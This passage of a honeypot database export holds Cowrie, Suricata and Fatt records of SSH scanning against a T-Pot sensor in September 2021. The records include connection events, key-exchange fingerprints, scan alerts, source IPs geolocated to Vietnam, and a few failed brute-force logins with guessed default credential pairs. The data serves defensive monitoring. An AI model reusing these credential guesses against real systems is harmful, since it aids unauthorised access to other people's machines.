"diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "cc3285b20190", "@version": "1", "timestamp": "2021-09-20T11:12:35.980410Z", "@timestamp": "2021-09-20T11:12:35.980Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26697	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:36.229991+03	2021-09-20 14:15:13.611646+03	{"_id": "LgboAnwBvYTbRNuEYyJr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "c7ebacffa0ff", "@version": "1", "timestamp": "2021-09-20T11:12:36.229991Z", "@timestamp": "2021-09-20T11:12:36.229Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26698	fe80:0000:0000:0000:319d:3e8f:a38d:b93f	109.199.241.180	Suricata	2021-09-20 14:12:36.560175+03	2021-09-20 14:15:13.612646+03	{"_id": "MQboAnwBvYTbRNuEZSKF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:12:35.092180+0000", "pkts_toclient": 0, "pkts_toserver": 6, "bytes_toclient": 0, "bytes_toserver": 720}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:319d:3e8f:a38d:b93f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1775751756212244, "payload": "AAAAAwQAAAD/AgAAAAAAAAAAAAH/AAAABAAAAP8FAAAAAAAAAAAAAAAAAAIEAAAA/wIAAAAAAAA=", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:12:36.560175Z", "@timestamp": "2021-09-20T11:12:36.560Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........................................................"}}	1	\N	\N	alert	\N	\N
26699	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:12:37.021967+03	2021-09-20 14:15:13.613646+03	{"_id": "NQboAnwBvYTbRNuEZyJU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:33130 (192.168.176.2:22) [session: cc707ee1aa9b]", "session": "cc707ee1aa9b", "@version": "1", "protocol": "ssh", "src_port": 33130, "dest_port": 22, "timestamp": "2021-09-20T11:12:37.021967Z", "@timestamp": "2021-09-20T11:12:37.021Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26700	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:37.170304+03	2021-09-20 14:15:13.615647+03	{"_id": "NgboAnwBvYTbRNuEZyJU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [monitor/mon] failed", "session": "c7ebacffa0ff", "@version": "1", "password": "mon", "username": "monitor", "timestamp": "2021-09-20T11:12:37.170304Z", "@timestamp": "2021-09-20T11:12:37.170Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26702	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:40.214668+03	2021-09-20 14:15:13.617645+03	{"_id": "QAboAnwBvYTbRNuEcyIP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:55066 (192.168.176.2:22) [session: a8689fca5224]", "session": "a8689fca5224", "@version": "1", "protocol": "ssh", "src_port": 55066, "dest_port": 22, "timestamp": "2021-09-20T11:12:40.214668Z", "@timestamp": "2021-09-20T11:12:40.214Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26703	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:12:40.493346+03	2021-09-20 14:15:13.618646+03	{"_id": "RQboAnwBvYTbRNuEdSIm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 2069748710329957, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 55066, "dest_port": 22, "timestamp": "2021-09-20T11:12:40.493346Z", "@timestamp": "2021-09-20T11:12:40.493Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26704	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:12:50.713462+03	2021-09-20 14:15:13.620644+03	{"_id": "nwboAnwBvYTbRNuEniIN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "99579c1eed36", "@version": "1", "timestamp": "2021-09-20T11:12:50.713462Z", "@timestamp": "2021-09-20T11:12:50.713Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26705	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:51.04516+03	2021-09-20 14:15:13.621646+03	{"_id": "oAboAnwBvYTbRNuEniIN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "d1a740f717f8", "@version": "1", "duration": 2.7421677112579346, "timestamp": "2021-09-20T11:12:51.045160Z", "@timestamp": "2021-09-20T11:12:51.045Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26706	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:12:52.474421+03	2021-09-20 14:15:13.622646+03	{"_id": "pwboAnwBvYTbRNuEpCIO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:12:52.474421+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 74}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1141148864494901, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 58608, "dest_port": 22, "timestamp": "2021-09-20T11:12:52.474421Z", "@timestamp": "2021-09-20T11:12:52.474Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
26707	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:12:53.035498+03	2021-09-20 14:15:13.624647+03	{"_id": "qgboAnwBvYTbRNuEpSI1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58608, "timestamp": "2021-09-20T11:12:53.035498", "@timestamp": "2021-09-20T11:12:53.035Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26708	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:52.754344+03	2021-09-20 14:15:13.625646+03	{"_id": "tgboAnwBvYTbRNuEpSLj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:58608 (192.168.176.2:22) [session: fe8f201aa331]", "session": "fe8f201aa331", "@version": "1", "protocol": "ssh", "src_port": 58608, "dest_port": 22, "timestamp": "2021-09-20T11:12:52.754344Z", "@timestamp": "2021-09-20T11:12:52.754Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26709	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:52.863285+03	2021-09-20 14:15:13.626646+03	{"_id": "tAboAnwBvYTbRNuEpSLj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "fe8f201aa331", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:12:52.863285Z", "@timestamp": "2021-09-20T11:12:52.863Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26710	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:53.064754+03	2021-09-20 14:15:13.627647+03	{"_id": "vgboAnwBvYTbRNuEpSLj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [test2/test] failed", "session": "9b1b0e3243a3", "@version": "1", "password": "test", "username": "test2", "timestamp": "2021-09-20T11:12:53.064754Z", "@timestamp": "2021-09-20T11:12:53.064Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26711	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:53.56319+03	2021-09-20 14:15:13.628646+03	{"_id": "vwboAnwBvYTbRNuEpSLj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "cadc2122c710", "@version": "1", "timestamp": 